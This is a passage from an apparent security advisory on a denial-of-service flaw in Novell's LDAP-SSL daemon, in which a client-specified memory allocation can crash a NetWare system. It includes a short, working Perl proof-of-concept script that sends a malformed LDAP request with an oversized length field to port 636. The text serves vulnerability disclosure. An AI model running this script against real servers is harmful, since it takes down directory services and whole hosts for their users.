      Technical details
      ---------------------------------------------------------------
      It is possible to cause a Denial of Service in Novell's
      LDAP-SSL daemon due to the system blindly allocating a
      user-specified amount of memory. Exploiting the issue on a
      Netware system will cause a system-wide DoS condition. A script
      for replicating the issue is included below:

      #!/usr/bin/perl
      # usage: ./novell.pl 10.0.0.1 0x41424344
      use IO::Socket::SSL;
      $socket = new IO::Socket::SSL(Proto=>"tcp",
      PeerAddr=>$ARGV[0], PeerPort=>636);
      die "unable to connect to $host:$port ($!)\n" unless $socket;
      print $socket "\x30\x84" . pack("N",hex($ARGV[1])) .
      "\x02\x01\x01\x60\x09\x02\x01\x03\x04\x02\x44\x4e\x80\x00" ;
      close $socket; print "done\n";
